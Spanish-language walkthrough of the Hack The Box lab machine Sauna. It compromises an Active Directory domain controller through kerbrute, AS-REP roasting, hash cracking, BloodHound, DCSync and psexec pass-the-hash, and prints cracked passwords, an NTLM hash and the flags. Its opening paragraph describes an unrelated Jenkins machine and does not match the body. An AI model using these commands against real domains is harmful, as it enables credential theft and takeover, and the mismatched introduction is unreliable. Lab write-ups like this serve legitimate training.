El dia de hoy vamos a resolver Sauna de hackthebox una maquina windows de dificultad facil, esta vez nos enfrentamos a un jenkyll el cual vamos a explotarlo de dos maneras, la primera a traves de la ejecución de una tarea ejecutada periodicamente y la otra a traves del empleo de un token, despues enumeraremos las reglas de firewall para verificar las restricciones y aprochecharemos el acceso a los archivos del jenkins para desencriptar una contraseña que nos permitira conectarnos al sistema. Ya estando dentro luego de realizar una enumeración con bloodhound, abusaremos del permiso de ForceChangedPassword para cambiar la contraseña de un usuario y una vez como este aprovecharnos de GenericWrite para retocar los atributos de otro usuario manipulando el comportamiento de acción a traves del inicio de sesión y migrar a otro usuario para finalmente con el privilegio WriteOwner asigarnos el privilegio de DomainAdmins y asi obtener acceso completo al sistema.
Maquina bastante interesante.
Comenzamos como es de costumbre creando un directorio con el nombre de la maquina:
❯ mkdir Sauna
❯ ls
Sauna
Seguidamente con la funcion mkt crearemos nuestros directorios de trabajo:
❯ which mkt
mkt () {
mkdir {nmap,content,exploits,scripts}
}
❯ mkt
❯ ls
content exploits nmap scripts
ENUMERACION #
Comenzaremos con la fase de Enumeracion, mandando una traza a la ip de la maquina victima con el comando ping:
❯ ping -c 1 10.10.10.175
PING 10.10.10.175 (10.10.10.175) 56(84) bytes of data.
64 bytes from 10.10.10.175: icmp_seq=1 ttl=127 time=116 ms
--- 10.10.10.175 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 116.468/116.468/116.468/0.000 ms
Vemos que la maquina nos responde, con un ttl de 127 y por proximidad seria correspondiente a una maquina windows.
ESCANEO DE PUERTOS
| Parámetro | Descripción |
|---|---|
| -p- | Escaneamos todos los 65535 puertos. |
| –open | Solo los puertos que estén abiertos. |
| -v | Permite ver en consola lo que va encontrando (verbose). |
| -oG | Guarda el output en un archivo con formato grepeable para que mediante una funcion de S4vitar nos va a permitir extraer cada uno de los puertos y copiarlos sin importar la cantidad en la clipboard y asi al hacer ctrl_c esten disponibles |
Procedemos a escanear los puertos abiertos y lo exportaremos al archivo de nombre openPorts:
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.175 -oG openPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-23 19:04 -05
Initiating SYN Stealth Scan at 19:04
Scanning 10.10.10.175 [65535 ports]
Discovered open port 445/tcp on 10.10.10.175
Discovered open port 135/tcp on 10.10.10.175
Discovered open port 53/tcp on 10.10.10.175
Discovered open port 139/tcp on 10.10.10.175
Discovered open port 80/tcp on 10.10.10.175
Discovered open port 464/tcp on 10.10.10.175
Discovered open port 636/tcp on 10.10.10.175
Discovered open port 49667/tcp on 10.10.10.175
Discovered open port 389/tcp on 10.10.10.175
Discovered open port 9389/tcp on 10.10.10.175
Discovered open port 88/tcp on 10.10.10.175
Discovered open port 49673/tcp on 10.10.10.175
Discovered open port 593/tcp on 10.10.10.175
Discovered open port 49674/tcp on 10.10.10.175
Discovered open port 3268/tcp on 10.10.10.175
Discovered open port 5985/tcp on 10.10.10.175
Discovered open port 49676/tcp on 10.10.10.175
Discovered open port 3269/tcp on 10.10.10.175
Discovered open port 49698/tcp on 10.10.10.175
Completed SYN Stealth Scan at 19:04, 26.71s elapsed (65535 total ports)
Nmap scan report for 10.10.10.175
Host is up, received user-set (0.14s latency).
Scanned at 2023-11-23 19:04:29 -05 for 27s
Not shown: 65516 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
80/tcp open http syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49673/tcp open unknown syn-ack ttl 127
49674/tcp open unknown syn-ack ttl 127
49676/tcp open unknown syn-ack ttl 127
49698/tcp open unknown syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.78 seconds
Raw packets sent: 131064 (5.767MB) | Rcvd: 32 (1.408KB)
ESCANEO DE VERSION Y SERVICIOS
❯ nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49673,49674,49676,49698 10.10.10.175 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-23 19:05 -05
Nmap scan report for 10.10.10.175
Host is up (0.26s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-11-24 07:05:43Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49698/tcp open msrpc Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2023-11-24T07:06:39
|_ start_date: N/A
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
|_clock-skew: 6h59m58s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 106.74 seconds
Entre los puertos abiertos mas relevantes podemos visualizar:
| Puerto | Servicio | Versión |
|---|---|---|
| 53 | DNS | Simple DNS Plus |
| 80 | HTTP | Microsoft IIS httpd 10.0 |
| 88 | KERBEROS | Microsoft Windows Kerberos |
| 135 | RPC | Microsoft Windows RPC |
| 389 | LDAP | Microsoft Windows Active Directory LDAP |
| 445 | SMB | ? |
| 3268 | LDAP | Microsoft Windows Active Directory LDAP |
| 5985 | WINRM | Microsoft HTTPAPI httpd 2.0 |
EXPLOTACION #
Como vemos que el puerto 80 corresponde a un servicio web con whatweb vamos a tratar de enumerar las tecnolologias que emplean.
❯ whatweb http://10.10.10.175
http://10.10.10.175 [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[example@email.com,info@example.com], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.175], Microsoft-IIS[10.0], Script, Title[Egotistical Bank :: Home]
Vemos que nos enfrentamos a un IIS, y concretamente en la seccion de about, podemos ver varios nombres potecialmente a ser usuarios validos.
Vamos a almacenar los usuarios en un archivo, y como es comun lo haremos bajo la primera inicial del nombre y el apellido, como se muestran a continuación.
Ahora vamos a usar crackmapexec para realizar una enumeración por smb.
❯ crackmapexec smb 10.10.10.175
SMB 10.10.10.175 445 SAUNA [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
y agregaremos el dominio al /etc/hosts.
❯ echo "10.10.10.172 EGOTISTICAL-BANK.LOCAL" >> /etc/hosts
Ahora si con kerbrute enumeramos los usuarios validos, la herramienta nos muestra que Fsmith es valido.
❯ /opt/kerbrute/kerbrute userenum users --dc 10.10.10.175 -d EGOTISTICAL-BANK.LOCAL
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 11/23/23 - Ronnie Flathers @ropnop
2023/11/23 19:21:18 > Using KDC(s):
2023/11/23 19:21:18 > 10.10.10.175:88
2023/11/23 19:21:18 > [+] VALID USERNAME: Fsmith@EGOTISTICAL-BANK.LOCAL
2023/11/23 19:21:18 > Done! Tested 6 usernames (1 valid) in 0.310 seconds
Procedemos a usar GetNPUsers para ejecutar un ASRepRoast y obtener un TGT.
❯ GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -no-pass -usersfile uservalid
Impacket v0.11.0 - Copyright 2023 Fortra
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:34df8e0e65cf634b68d04ae2df6e86d9$831b6eae128953abd71def69f04090582868598f156a6c40de789274d7702adc542d91857ee30ab39d7d280def70a6cc8cbda911a7ab0603e307166770bff2c7f9751b64df908cc27cabc6536f1f5b3e539c9fbc8529ec457308ed1798b9dc3bb86f839d23d0260138e386fb9d8335a7d98652329cb623899c16d1b744846337529b4057017b66ccd9b65035ab8cb619c5e89b0facf8334b75944a40b79c7a7a16c457c639d0801fa2855108b70e896efdf1613c1704583030181459258fedb2ff266fc0700ddded76d05759a8b278539cfb125d39b10e33815e49506ce8f724e6e5473c7e45966ec75bdb0c0d7a78b42a710f387324d32b689a9314c4a1f596
y ahora procedemos a crackear el hash con john y obtenemos unas credenciales jsmith:Thestrokes23.
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 512/512 AVX512BW 16x])
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Thestrokes23 ($krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL)
1g 0:00:00:06 DONE (2023-11-23 19:39) 0.1477g/s 1556Kp/s 1556Kc/s 1556KC/s Tiffani1432..Thanongsuk_police
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Nos conectamos con evil-winrm como el usuario fsmith y procedemos a leer la primera flag user.txt.
ELEVACION DE PRIVILEGIOS #
Usaremos ldapdomaindump para enumerar los usuarios y saber los grupos a los cuales pertenecen.
❯ python3 /opt/ldapdomaindump/ldapdomaindump -u 'EGOTISTICAL-BANK.LOCAL\fsmith' -p 'Thestrokes23' 10.10.10.175
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
❯ ls
domain_computers.grep domain_computers_by_os.html domain_groups.json domain_policy.json domain_trusts.json domain_users.json users
domain_computers.html domain_groups.grep domain_policy.grep domain_trusts.grep domain_users.grep domain_users_by_group.html uservalid
domain_computers.json domain_groups.html domain_policy.html domain_trusts.html domain_users.html hash
SI ahora visualizamos vemos en nuestro navegador los grupos pertenecientes.
Podemos ver que ademas de fsmith, el usuario svc_loanmgr tambien es parte del grupo Remote Management Users.
Ahora para enumerar el sistema ya que estamos como el usuario fsmith vamos a usar ha herramienta winpeas.exe, la cual podemos obtener del repositorio de GitHub.
*Evil-WinRM* PS C:\Users\FSmith\Documents> upload /home/fmiracle/machines/Sauna/content/winPEASany.exe
Info: Uploading /home/fmiracle/machines/Sauna/content/winPEASany.exe to C:\Users\FSmith\Documents\winPEASany.exe
Data: 3183956 bytes of 3183956 bytes copied
Info: Upload successful!
Despues de ejecutar obtenemos las credenciales del usuario svc_loanmanager.
Ahora podemos conectarnos como el usuario svc_loanmanager.
❯ evil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> whoami
egotisticalbank\svc_loanmgr
Para enumerar el sistema ahora como el usuario actual usaremos sharphound.ps1, para ello podemos descargarlo del repositorio en el siguiente enlance:
Subimos el script a la maquina victima, importamos y ejecutamos.
*Evil-WinRM* PS C:\Windows\Temp\privesc> upload /home/fmiracle/machines/Sauna/content/SharpHound.ps1
Info: Uploading /home/fmiracle/machines/Sauna/content/SharpHound.ps1 to C:\Windows\Temp\privesc\SharpHound.ps1
Data: 1744464 bytes of 1744464 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Windows\Temp\privesc> Import-Module .\SharpHound.ps1
*Evil-WinRM* PS C:\Windows\Temp\privesc> Invoke-BloodHound -CollectionMethods All
Y traemos el comprimido que nos crea a nuestra maquina.
*Evil-WinRM* PS C:\wINDOWS\tEMP\Privesc> download C:\wINDOWS\tEMP\Privesc\20231124015657_BloodHound.zip
Info: Downloading C:\wINDOWS\tEMP\Privesc\20231124015657_BloodHound.zip to 20231124015657_BloodHound.zip
Info: Download successful!
Subimos el comprimido al bloodhound.
Ahora marcamos al usuario svc_loanmgr como owned.
Vemos que el usuario tiene privilegios GetChangesAll sobre el dominio.
Si ahora vemos que podemos hacer con este privilegio, bloodhound nos indica que podemos efectuar en DCSync Attack.
Para ello podemos usar secretsdump para poder dumpearnos todos los hashes, incluido el del usuario Administrator.
Seguidamente podemos aplicar un pass the hash con psexec y conectarnos como el usuario administrator.
❯ psexec.py EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175 -hashes :823452073d75b9d1cf70ebdf86c7f98e
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Requesting shares on 10.10.10.175.....
[*] Found writable share ADMIN$
[*] Uploading file JfTdhTjz.exe
[*] Opening SVCManager on 10.10.10.175.....
[*] Creating service mLSo on 10.10.10.175.....
[*] Starting service mLSo.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.973]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
FInalmente nos dirigimos al directorio personal del usuario Administrator y podemos visualizar la segunda flag root.txt.
C:\Windows\system32> cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop> type root.txt
3663f10ee0496eaccec1c7a21f3f8faf
Comments